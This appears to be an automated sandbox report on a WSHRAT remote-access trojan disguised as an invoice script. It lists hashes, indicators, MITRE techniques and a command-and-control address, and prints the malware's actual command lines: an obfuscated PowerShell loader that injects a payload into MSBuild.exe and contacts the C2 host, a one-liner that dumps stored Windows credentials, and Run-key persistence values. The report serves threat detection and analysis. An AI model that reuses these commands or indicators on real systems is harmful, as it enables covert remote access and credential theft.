wshrat | 6faebe3013cd3f48b7c2e3a2fdabb0a412ce18331a27457ec513058b51af9036

Analysis

max time kernel
150s
max time network
155s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
21-09-2023 14:44

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

invoice-wsl.js
Size

187KB
MD5

bc0356063536ebe0867a97a1965a0f52
SHA1

f127953be621382ff50a37ebecef4d17bb3cd7d2
SHA256

197e07455f8920039c0a30b9c95f847e02d29c9d7bd50488a350b53e747ba9c5
SHA512

40f1d16054d103b4f9be044c9cb34f73fb042a62ea29e205f13a4f0b2565dbaa3e9d7954e9d288a748a125495891c2ed2f19104e5fc1353c745879e16ca02565
SSDEEP

3072:2aeGK/6dbIpklgVDSxGfmuZRTFBTEsSQ0bamOZkvEzzbURC8:2aeGKgAklgF2GuuZ7auMTFRC8

Score

10^/10

wshrat persistence spyware stealer trojan

Malware Config

Extracted

Family

wshrat

http://2.59.254.111:2420

Signatures

WSHRAT
WSHRAT is a variant of Houdini worm and has vbs and js variants.
trojan wshrat

WSHRAT payload 3 IoCs

resource	yara_rule
behavioral1/files/0x00070000000120e4-3.dat	family_wshrat
behavioral1/files/0x000a00000001226b-4.dat	family_wshrat
behavioral1/files/0x000a00000001226b-6.dat	family_wshrat

Blocklisted process makes network request 11 IoCs

flow	pid	Process
4	1088	wscript.exe
6	1088	wscript.exe
7	1088	wscript.exe
8	1088	wscript.exe
9	1088	wscript.exe
11	1088	wscript.exe
12	1088	wscript.exe
13	1088	wscript.exe
14	1088	wscript.exe
15	1088	wscript.exe
16	1088	wscript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice-wsl.js	wscript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice-wsl.js	wscript.exe

Executes dropped EXE 2 IoCs

pid	Process
1868	python.exe
3676	python.exe

Loads dropped DLL 64 IoCs

pid	Process
1868	python.exe
1868	python.exe
1868	python.exe
1868	python.exe
1868	python.exe
1868	python.exe
1868	python.exe
1868	python.exe
1868	python.exe
1868	python.exe
1868	python.exe
1868	python.exe
1868	python.exe
1868	python.exe
1868	python.exe
1868	python.exe
1868	python.exe
1868	python.exe
1868	python.exe
1868	python.exe
1868	python.exe
1868	python.exe
1868	python.exe
1868	python.exe
1868	python.exe
1868	python.exe
1868	python.exe
1868	python.exe
1868	python.exe
1868	python.exe
1868	python.exe
1868	python.exe
1868	python.exe
1868	python.exe
1868	python.exe
1868	python.exe
1868	python.exe
1868	python.exe
1868	python.exe
1868	python.exe
1868	python.exe
1868	python.exe
1868	python.exe
1868	python.exe
1868	python.exe
3676	python.exe
3676	python.exe
3676	python.exe
3676	python.exe
3676	python.exe
3676	python.exe
3676	python.exe
3676	python.exe
3676	python.exe
3676	python.exe
3676	python.exe
3676	python.exe
3676	python.exe
3676	python.exe
3676	python.exe
3676	python.exe
3676	python.exe
3676	python.exe
3676	python.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-686452656-3203474025-4140627569-1000\Software\Microsoft\Windows\CurrentVersion\Run\invoice-wsl = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Roaming\\invoice-wsl.js\""	wscript.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\invoice-wsl = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Roaming\\invoice-wsl.js\""	wscript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-686452656-3203474025-4140627569-1000\Software\Microsoft\Windows\CurrentVersion\Run\invoice-wsl = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Roaming\\invoice-wsl.js\""	wscript.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\invoice-wsl = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Roaming\\invoice-wsl.js\""	wscript.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2916 set thread context of 2596	2916	powershell.exe	37

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Kills process with taskkill 2 IoCs

evasion

pid	Process
4028	taskkill.exe
3860	taskkill.exe

Script User-Agent 9 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	8	WSHRAT\|90D70FEC\|UUVOHKNL\|Admin\|Microsoft Windows 7 Ultimate \|plus\|nan-av\|false - 21/9/2023\|JavaScript-v3.4\|NL:Netherlands
HTTP User-Agent header	9	WSHRAT\|90D70FEC\|UUVOHKNL\|Admin\|Microsoft Windows 7 Ultimate \|plus\|nan-av\|false - 21/9/2023\|JavaScript-v3.4\|NL:Netherlands
HTTP User-Agent header	15	WSHRAT\|90D70FEC\|UUVOHKNL\|Admin\|Microsoft Windows 7 Ultimate \|plus\|nan-av\|false - 21/9/2023\|JavaScript-v3.4\|NL:Netherlands
HTTP User-Agent header	16	WSHRAT\|90D70FEC\|UUVOHKNL\|Admin\|Microsoft Windows 7 Ultimate \|plus\|nan-av\|false - 21/9/2023\|JavaScript-v3.4\|NL:Netherlands
HTTP User-Agent header	6	WSHRAT\|90D70FEC\|UUVOHKNL\|Admin\|Microsoft Windows 7 Ultimate \|plus\|nan-av\|false - 21/9/2023\|JavaScript-v3.4\|NL:Netherlands
HTTP User-Agent header	7	WSHRAT\|90D70FEC\|UUVOHKNL\|Admin\|Microsoft Windows 7 Ultimate \|plus\|nan-av\|false - 21/9/2023\|JavaScript-v3.4\|NL:Netherlands
HTTP User-Agent header	12	WSHRAT\|90D70FEC\|UUVOHKNL\|Admin\|Microsoft Windows 7 Ultimate \|plus\|nan-av\|false - 21/9/2023\|JavaScript-v3.4\|NL:Netherlands
HTTP User-Agent header	13	WSHRAT\|90D70FEC\|UUVOHKNL\|Admin\|Microsoft Windows 7 Ultimate \|plus\|nan-av\|false - 21/9/2023\|JavaScript-v3.4\|NL:Netherlands
HTTP User-Agent header	14	WSHRAT\|90D70FEC\|UUVOHKNL\|Admin\|Microsoft Windows 7 Ultimate \|plus\|nan-av\|false - 21/9/2023\|JavaScript-v3.4\|NL:Netherlands

Suspicious behavior: CmdExeWriteProcessMemorySpam 2 IoCs

pid	Process
1868	python.exe
3676	python.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2800	powershell.exe
548	powershell.exe
2916	powershell.exe
1740	powershell.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	2800	powershell.exe
Token: SeDebugPrivilege	548	powershell.exe
Token: SeDebugPrivilege	2916	powershell.exe
Token: SeDebugPrivilege	1740	powershell.exe
Token: 35	1868	python.exe
Token: 35	3676	python.exe
Token: SeDebugPrivilege	3860	taskkill.exe
Token: SeDebugPrivilege	4028	taskkill.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2596	MSBuild.exe
2596	MSBuild.exe

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 2112 wrote to memory of 1088	2112	wscript.exe	29
PID 2112 wrote to memory of 1088	2112	wscript.exe	29
PID 2112 wrote to memory of 1088	2112	wscript.exe	29
PID 1088 wrote to memory of 2800	1088	wscript.exe	30
PID 1088 wrote to memory of 2800	1088	wscript.exe	30
PID 1088 wrote to memory of 2800	1088	wscript.exe	30
PID 1088 wrote to memory of 548	1088	wscript.exe	33
PID 1088 wrote to memory of 548	1088	wscript.exe	33
PID 1088 wrote to memory of 548	1088	wscript.exe	33
PID 1088 wrote to memory of 2916	1088	wscript.exe	35
PID 1088 wrote to memory of 2916	1088	wscript.exe	35
PID 1088 wrote to memory of 2916	1088	wscript.exe	35
PID 2916 wrote to memory of 2596	2916	powershell.exe	37
PID 2916 wrote to memory of 2596	2916	powershell.exe	37
PID 2916 wrote to memory of 2596	2916	powershell.exe	37
PID 2916 wrote to memory of 2596	2916	powershell.exe	37
PID 2916 wrote to memory of 2596	2916	powershell.exe	37
PID 2916 wrote to memory of 2596	2916	powershell.exe	37
PID 2916 wrote to memory of 2596	2916	powershell.exe	37
PID 2916 wrote to memory of 2596	2916	powershell.exe	37
PID 2916 wrote to memory of 2596	2916	powershell.exe	37
PID 2916 wrote to memory of 2596	2916	powershell.exe	37
PID 1088 wrote to memory of 1740	1088	wscript.exe	40
PID 1088 wrote to memory of 1740	1088	wscript.exe	40
PID 1088 wrote to memory of 1740	1088	wscript.exe	40
PID 1088 wrote to memory of 2816	1088	wscript.exe	42
PID 1088 wrote to memory of 2816	1088	wscript.exe	42
PID 1088 wrote to memory of 2816	1088	wscript.exe	42
PID 2816 wrote to memory of 1868	2816	cmd.exe	44
PID 2816 wrote to memory of 1868	2816	cmd.exe	44
PID 2816 wrote to memory of 1868	2816	cmd.exe	44
PID 2816 wrote to memory of 1868	2816	cmd.exe	44
PID 1088 wrote to memory of 3604	1088	wscript.exe	45
PID 1088 wrote to memory of 3604	1088	wscript.exe	45
PID 1088 wrote to memory of 3604	1088	wscript.exe	45
PID 3604 wrote to memory of 3676	3604	cmd.exe	47
PID 3604 wrote to memory of 3676	3604	cmd.exe	47
PID 3604 wrote to memory of 3676	3604	cmd.exe	47
PID 3604 wrote to memory of 3676	3604	cmd.exe	47
PID 1088 wrote to memory of 3832	1088	wscript.exe	48
PID 1088 wrote to memory of 3832	1088	wscript.exe	48
PID 1088 wrote to memory of 3832	1088	wscript.exe	48
PID 3832 wrote to memory of 3860	3832	cmd.exe	50
PID 3832 wrote to memory of 3860	3832	cmd.exe	50
PID 3832 wrote to memory of 3860	3832	cmd.exe	50
PID 1088 wrote to memory of 3996	1088	wscript.exe	52
PID 1088 wrote to memory of 3996	1088	wscript.exe	52
PID 1088 wrote to memory of 3996	1088	wscript.exe	52
PID 3996 wrote to memory of 4028	3996	cmd.exe	54
PID 3996 wrote to memory of 4028	3996	cmd.exe	54
PID 3996 wrote to memory of 4028	3996	cmd.exe	54

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\invoice-wsl.js
1⤵
- Drops startup file
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2112
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" //B "C:\Users\Admin\AppData\Roaming\invoice-wsl.js"
  2⤵
  - Blocklisted process makes network request
  - Drops startup file
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:1088
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -Command "$Cli444 = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'test').test;$Abt = [Convert]::FromBase64String($Cli444);$inputz = New-Object System.IO.MemoryStream( , $Abt );[System.IO.MemoryStream] $output = New-Object System.IO.MemoryStream;$gzipStream = New-Object System.IO.Compression.GzipStream $inputz, ([IO.Compression.CompressionMode]::Decompress);$buffer = New-Object byte[](1024);while($true){$read = $gzipStream.Read($buffer, 0, 1024);if ($read -le 0){break;}$output.Write($buffer, 0, $read);};$gzipStream.Close();$inputz.Close();$Out = $output.ToArray();$output.Close();$Out = [Convert]::ToBase64String($Out);new-itemproperty -path 'HKCU:\SOFTWARE\Microsoft' -name 'test' -value $Out -propertytype string -force | out-null;"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2800
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -Command "$Cli444 = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'test').test;$Abt = [Convert]::FromBase64String($Cli444);$inputz = New-Object System.IO.MemoryStream( , $Abt );[System.IO.MemoryStream] $output = New-Object System.IO.MemoryStream;$gzipStream = New-Object System.IO.Compression.GzipStream $inputz, ([IO.Compression.CompressionMode]::Decompress);$buffer = New-Object byte[](1024);while($true){$read = $gzipStream.Read($buffer, 0, 1024);if ($read -le 0){break;}$output.Write($buffer, 0, $read);};$gzipStream.Close();$inputz.Close();$Out = $output.ToArray();$output.Close();$Out = [Convert]::ToBase64String($Out);new-itemproperty -path 'HKCU:\SOFTWARE\Microsoft' -name 'test' -value $Out -propertytype string -force | out-null;"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:548
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -Command "$Cli444 = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'mPluginC').mPluginC;$Cli555 = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'mRunPE').mRunPE;$Abt = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($Cli555)).GetType('k.k.Hackitup').GetMethod('exe').Invoke($null,[object[]] ('MSBuild.exe',[Convert]::FromBase64String($Cli444),'2.59.254.111 2420 \"WSHRAT|90D70FEC|UUVOHKNL|Admin|Microsoft Windows 7 Ultimate |plus|nan-av|false - 21/9/2023|JavaScript-v3.4|NL:Netherlands\" 1'));"
    3⤵
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2916
  - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe
      path 2.59.254.111 2420 "WSHRAT|90D70FEC|UUVOHKNL|Admin|Microsoft Windows 7 Ultimate |plus|nan-av|false - 21/9/2023|JavaScript-v3.4|NL:Netherlands" 1
      4⤵
      Suspicious use of SetWindowsHookEx
      PID:2596
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -command [void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime] $vault = New-Object Windows.Security.Credentials.PasswordVault $vault.RetrieveAll() | % { $_.RetrievePassword();$_ } > "C:\Users\Admin\AppData\Local\Temp\tmp.txt"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1740
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cd "C:\Users\Admin\AppData\Roaming\wshsdk" && C:\Users\Admin\AppData\Roaming\wshsdk\python.exe C:\Users\Admin\AppData\Roaming\rundll > "C:\Users\Admin\AppData\Roaming\wshout"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2816
  - - C:\Users\Admin\AppData\Roaming\wshsdk\python.exe
      C:\Users\Admin\AppData\Roaming\wshsdk\python.exe C:\Users\Admin\AppData\Roaming\rundll
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious behavior: CmdExeWriteProcessMemorySpam
      Suspicious use of AdjustPrivilegeToken
      PID:1868
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cd "C:\Users\Admin\AppData\Roaming\wshsdk" && C:\Users\Admin\AppData\Roaming\wshsdk\python.exe C:\Users\Admin\AppData\Roaming\rundll > "C:\Users\Admin\AppData\Roaming\wshout"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3604
  - - C:\Users\Admin\AppData\Roaming\wshsdk\python.exe
      C:\Users\Admin\AppData\Roaming\wshsdk\python.exe C:\Users\Admin\AppData\Roaming\rundll
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious behavior: CmdExeWriteProcessMemorySpam
      Suspicious use of AdjustPrivilegeToken
      PID:3676
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c taskkill /F /IM cmdc.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3832
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM cmdc.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3860
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c taskkill /F /IM cmdc.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3996
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM cmdc.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4028

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\CMDCEX~1.ZIP

Filesize
53KB

MD5
a8e496443115a63697cb350f47ae1729

SHA1
a69779b57ecc8457e85066e7a5ab742c70ea653d

SHA256
6f3cf374a1aa961be87dde5aaeb1706d95cdcadbd1a4c961363e5ff33fab168d

SHA512
0c3c5504567912cfd8cf40664463cdc518ce6810bfd05af91ffee30b13f4e115a93f6faae8e5c8aa88ee91e2c3b4404126dbdfcffb82aa2625199e432a3cea9c

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
d4e5bbf2b52852d1c0268cb764ced8c4

SHA1
7757d35d9baf5bdb46358023210ac3d04f5344f1

SHA256
1e6a363988ea825f4a8817bf4965c566b7b9d3b10e4a0d67351f1f84449476de

SHA512
60a561625012fd79a954311d06a2a4f90731c28fb9ef3bf59b25ec8bb99b007ef7b4e6fe16c51e97efbed0d85aa4f4020794901ed8c9dfbbb9aa7a6948b2b470

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
d4e5bbf2b52852d1c0268cb764ced8c4

SHA1
7757d35d9baf5bdb46358023210ac3d04f5344f1

SHA256
1e6a363988ea825f4a8817bf4965c566b7b9d3b10e4a0d67351f1f84449476de

SHA512
60a561625012fd79a954311d06a2a4f90731c28fb9ef3bf59b25ec8bb99b007ef7b4e6fe16c51e97efbed0d85aa4f4020794901ed8c9dfbbb9aa7a6948b2b470

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
d4e5bbf2b52852d1c0268cb764ced8c4

SHA1
7757d35d9baf5bdb46358023210ac3d04f5344f1

SHA256
1e6a363988ea825f4a8817bf4965c566b7b9d3b10e4a0d67351f1f84449476de

SHA512
60a561625012fd79a954311d06a2a4f90731c28fb9ef3bf59b25ec8bb99b007ef7b4e6fe16c51e97efbed0d85aa4f4020794901ed8c9dfbbb9aa7a6948b2b470

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\SK02J99XBFWKOYZDM99L.temp

Filesize
7KB

MD5
d4e5bbf2b52852d1c0268cb764ced8c4

SHA1
7757d35d9baf5bdb46358023210ac3d04f5344f1

SHA256
1e6a363988ea825f4a8817bf4965c566b7b9d3b10e4a0d67351f1f84449476de

SHA512
60a561625012fd79a954311d06a2a4f90731c28fb9ef3bf59b25ec8bb99b007ef7b4e6fe16c51e97efbed0d85aa4f4020794901ed8c9dfbbb9aa7a6948b2b470

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice-wsl.js

Filesize
187KB

MD5
74a087bf34a15b6a0abbd07f26a46739

SHA1
9f7b1117bb9233519b032111c58e0b0406bba697

SHA256
3f308f3f4fb83c5adbc249de33ae59df8116e03b287e3977d4cfaec98faf8355

SHA512
78490958267b82da25d66683fae06c642ff15a591fbaf95eca93a320796cd4ef39810b96bdb55843b3dd06fe18972b9f973c3c1472f2a6196db2da5c539455e0

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice-wsl.js

Filesize
187KB

MD5
bc0356063536ebe0867a97a1965a0f52

SHA1
f127953be621382ff50a37ebecef4d17bb3cd7d2

SHA256
197e07455f8920039c0a30b9c95f847e02d29c9d7bd50488a350b53e747ba9c5

SHA512
40f1d16054d103b4f9be044c9cb34f73fb042a62ea29e205f13a4f0b2565dbaa3e9d7954e9d288a748a125495891c2ed2f19104e5fc1353c745879e16ca02565

Download Submit
C:\Users\Admin\AppData\Roaming\invoice-wsl.js

Filesize
187KB

MD5
bc0356063536ebe0867a97a1965a0f52

SHA1
f127953be621382ff50a37ebecef4d17bb3cd7d2

SHA256
197e07455f8920039c0a30b9c95f847e02d29c9d7bd50488a350b53e747ba9c5

SHA512
40f1d16054d103b4f9be044c9cb34f73fb042a62ea29e205f13a4f0b2565dbaa3e9d7954e9d288a748a125495891c2ed2f19104e5fc1353c745879e16ca02565

Download Submit
C:\Users\Admin\AppData\Roaming\wshsdk.zip

Filesize
12.4MB

MD5
d9a63dfd8b73629421bb44bcde09f312

SHA1
7855575c12eaee0e734f3901ca1da2931e9b587a

SHA256
9d5bb028794410fda9d1b3e0f8deb6beee5bd4e1e55340bd375a209c81dc98eb

SHA512
df195c22f7818569cc92e995846ab507caa30f341ac902cc8afe6f06ae4493709e7f80357c91cf14b21e58e2154e0b35f2154d8a313bf36fcff0b72b3a539cf8

Download Submit
C:\Users\Admin\AppData\Roaming\wshsdk\Lib\SITE-P~1\adodbapi\test\is64bit.py

Filesize
1KB

MD5
ca2cc8e73bbca371935bbc92ed18d567

SHA1
1adb458919e842cd78c72b1ff00e5e93cb6ef75e

SHA256
bea3f797921992fda45c19db41e10e3b325bcdd3ea35d35c1fa70535477ad9c1

SHA512
b63df3bad9272f45ba0f50e2c50aaed7a04eb1b000d5855d9f3a8e5c5f2d381c667b1e9c1e1f03f80584a7941a96992838664ae9dd25e1b8320e026da35b8223

Download Submit
C:\Users\Admin\AppData\Roaming\wshsdk\VCRUNTIME140.dll

Filesize
84KB

MD5
ae96651cfbd18991d186a029cbecb30c

SHA1
18df8af1022b5cb188e3ee98ac5b4da24ac9c526

SHA256
1b372f064eacb455a0351863706e6326ca31b08e779a70de5de986b5be8069a1

SHA512
42a58c17f63cf0d404896d3b4bb16b2c9270cc2192aa4c9be265ed3970dfc2a4115e1db08f35c39e403b4c918be4ed7d19d2e2e015cb06b33d26a6c6521556e7

Download Submit
C:\Users\Admin\AppData\Roaming\wshsdk\api-ms-win-core-file-l1-2-0.dll

Filesize
17KB

MD5
e2f648ae40d234a3892e1455b4dbbe05

SHA1
d9d750e828b629cfb7b402a3442947545d8d781b

SHA256
c8c499b012d0d63b7afc8b4ca42d6d996b2fcf2e8b5f94cacfbec9e6f33e8a03

SHA512
18d4e7a804813d9376427e12daa444167129277e5ff30502a0fa29a96884bf902b43a5f0e6841ea1582981971843a4f7f928f8aecac693904ab20ca40ee4e954

Download Submit
C:\Users\Admin\AppData\Roaming\wshsdk\api-ms-win-core-file-l2-1-0.dll

Filesize
17KB

MD5
e479444bdd4ae4577fd32314a68f5d28

SHA1
77edf9509a252e886d4da388bf9c9294d95498eb

SHA256
c85dc081b1964b77d289aac43cc64746e7b141d036f248a731601eb98f827719

SHA512
2afab302fe0f7476a4254714575d77b584cd2dc5330b9b25b852cd71267cda365d280f9aa8d544d4687dc388a2614a51c0418864c41ad389e1e847d81c3ab744

Download Submit
C:\Users\Admin\AppData\Roaming\wshsdk\api-ms-win-core-localization-l1-2-0.dll

Filesize
20KB

MD5
eff11130bfe0d9c90c0026bf2fb219ae

SHA1
cf4c89a6e46090d3d8feeb9eb697aea8a26e4088

SHA256
03ad57c24ff2cf895b5f533f0ecbd10266fd8634c6b9053cc9cb33b814ad5d97

SHA512
8133fb9f6b92f498413db3140a80d6624a705f80d9c7ae627dfd48adeb8c5305a61351bf27bbf02b4d3961f9943e26c55c2a66976251bb61ef1537bc8c212add

Download Submit
C:\Users\Admin\AppData\Roaming\wshsdk\api-ms-win-core-processthreads-l1-1-1.dll

Filesize
18KB

MD5
d0289835d97d103bad0dd7b9637538a1

SHA1
8ceebe1e9abb0044808122557de8aab28ad14575

SHA256
91eeb842973495deb98cef0377240d2f9c3d370ac4cf513fd215857e9f265a6a

SHA512
97c47b2e1bfd45b905f51a282683434ed784bfb334b908bf5a47285f90201a23817ff91e21ea0b9ca5f6ee6b69acac252eec55d895f942a94edd88c4bfd2dafd

Download Submit
C:\Users\Admin\AppData\Roaming\wshsdk\api-ms-win-core-synch-l1-2-0.dll

Filesize
18KB

MD5
0d1aa99ed8069ba73cfd74b0fddc7b3a

SHA1
ba1f5384072df8af5743f81fd02c98773b5ed147

SHA256
30d99ce1d732f6c9cf82671e1d9088aa94e720382066b79175e2d16778a3dad1

SHA512
6b1a87b1c223b757e5a39486be60f7dd2956bb505a235df406bcf693c7dd440e1f6d65ffef7fde491371c682f4a8bb3fd4ce8d8e09a6992bb131addf11ef2bf9

Download Submit
C:\Users\Admin\AppData\Roaming\wshsdk\api-ms-win-core-timezone-l1-1-0.dll

Filesize
17KB

MD5
babf80608fd68a09656871ec8597296c

SHA1
33952578924b0376ca4ae6a10b8d4ed749d10688

SHA256
24c9aa0b70e557a49dac159c825a013a71a190df5e7a837bfa047a06bba59eca

SHA512
3ffffd90800de708d62978ca7b50fe9ce1e47839cda11ed9e7723acec7ab5829fa901595868e4ab029cdfb12137cf8ecd7b685953330d0900f741c894b88257b

Download Submit
C:\Users\Admin\AppData\Roaming\wshsdk\api-ms-win-crt-conio-l1-1-0.dll

Filesize
18KB

MD5
6ea692f862bdeb446e649e4b2893e36f

SHA1
84fceae03d28ff1907048acee7eae7e45baaf2bd

SHA256
9ca21763c528584bdb4efebe914faaf792c9d7360677c87e93bd7ba7bb4367f2

SHA512
9661c135f50000e0018b3e5c119515cfe977b2f5f88b0f5715e29df10517b196c81694d074398c99a572a971ec843b3676d6a831714ab632645ed25959d5e3e7

Download Submit
C:\Users\Admin\AppData\Roaming\wshsdk\api-ms-win-crt-convert-l1-1-0.dll

Filesize
21KB

MD5
72e28c902cd947f9a3425b19ac5a64bd

SHA1
9b97f7a43d43cb0f1b87fc75fef7d9eeea11e6f7

SHA256
3cc1377d495260c380e8d225e5ee889cbb2ed22e79862d4278cfa898e58e44d1

SHA512
58ab6fedce2f8ee0970894273886cb20b10d92979b21cda97ae0c41d0676cc0cd90691c58b223bce5f338e0718d1716e6ce59a106901fe9706f85c3acf7855ff

Download Submit
C:\Users\Admin\AppData\Roaming\wshsdk\api-ms-win-crt-environment-l1-1-0.dll

Filesize
18KB

MD5
ac290dad7cb4ca2d93516580452eda1c

SHA1
fa949453557d0049d723f9615e4f390010520eda

SHA256
c0d75d1887c32a1b1006b3cffc29df84a0d73c435cdcb404b6964be176a61382

SHA512
b5e2b9f5a9dd8a482169c7fc05f018ad8fe6ae27cb6540e67679272698bfca24b2ca5a377fa61897f328b3deac10237cafbd73bc965bf9055765923aba9478f8

Download Submit
C:\Users\Admin\AppData\Roaming\wshsdk\api-ms-win-crt-filesystem-l1-1-0.dll

Filesize
19KB

MD5
aec2268601470050e62cb8066dd41a59

SHA1
363ed259905442c4e3b89901bfd8a43b96bf25e4

SHA256
7633774effe7c0add6752ffe90104d633fc8262c87871d096c2fc07c20018ed2

SHA512
0c14d160bfa3ac52c35ff2f2813b85f8212c5f3afbcfe71a60ccc2b9e61e51736f0bf37ca1f9975b28968790ea62ed5924fae4654182f67114bd20d8466c4b8f

Download Submit
C:\Users\Admin\AppData\Roaming\wshsdk\api-ms-win-crt-heap-l1-1-0.dll

Filesize
18KB

MD5
93d3da06bf894f4fa21007bee06b5e7d

SHA1
1e47230a7ebcfaf643087a1929a385e0d554ad15

SHA256
f5cf623ba14b017af4aec6c15eee446c647ab6d2a5dee9d6975adc69994a113d

SHA512
72bd6d46a464de74a8dac4c346c52d068116910587b1c7b97978df888925216958ce77be1ae049c3dccf5bf3fffb21bc41a0ac329622bc9bbc190df63abb25c6

Download Submit
C:\Users\Admin\AppData\Roaming\wshsdk\api-ms-win-crt-locale-l1-1-0.dll

Filesize
18KB

MD5
a2f2258c32e3ba9abf9e9e38ef7da8c9

SHA1
116846ca871114b7c54148ab2d968f364da6142f

SHA256
565a2eec5449eeeed68b430f2e9b92507f979174f9c9a71d0c36d58b96051c33

SHA512
e98cbc8d958e604effa614a3964b3d66b6fc646bdca9aa679ea5e4eb92ec0497b91485a40742f3471f4ff10de83122331699edc56a50f06ae86f21fad70953fe

Download Submit
